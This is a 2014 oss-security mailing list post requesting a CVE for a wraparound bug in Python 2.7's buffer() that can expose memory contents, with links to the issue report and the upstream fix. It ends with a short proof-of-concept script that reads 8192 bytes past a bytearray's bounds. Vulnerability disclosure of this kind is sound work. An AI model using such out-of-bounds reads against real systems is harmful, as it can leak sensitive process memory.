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Date: Tue, 23 Sep 2014 19:16:27 +0000
From: mancha <mancha1@...o.com>
To: oss-security@...ts.openwall.com
Subject: CVE Request: Python 2.7
Hello.
Python 2.7.8 fixes a potential wraparound in buffer() [1a & 1b] with
possible CWE-200 implications [2].
If not yet assigned, please consider a CVE designation for this issue.
Thanks.
--mancha
(Note: Though the request is for Python 2.7, vulnerable code appears to
exist in EOL'd versions 1.6.1 through 2.6.9 as well)
-------
[1a] Issue report: http://bugs.python.org/issue21831
[1b] Upstream fix:
https://hg.python.org/cpython/diff/8d963c7db507/Objects/bufferobject.c
[2] PoC for Python 2.7:
--- overflow.py ---
import sys
a = bytearray('CVE request')
b = buffer(a, sys.maxsize, sys.maxsize)
print b[:8192]
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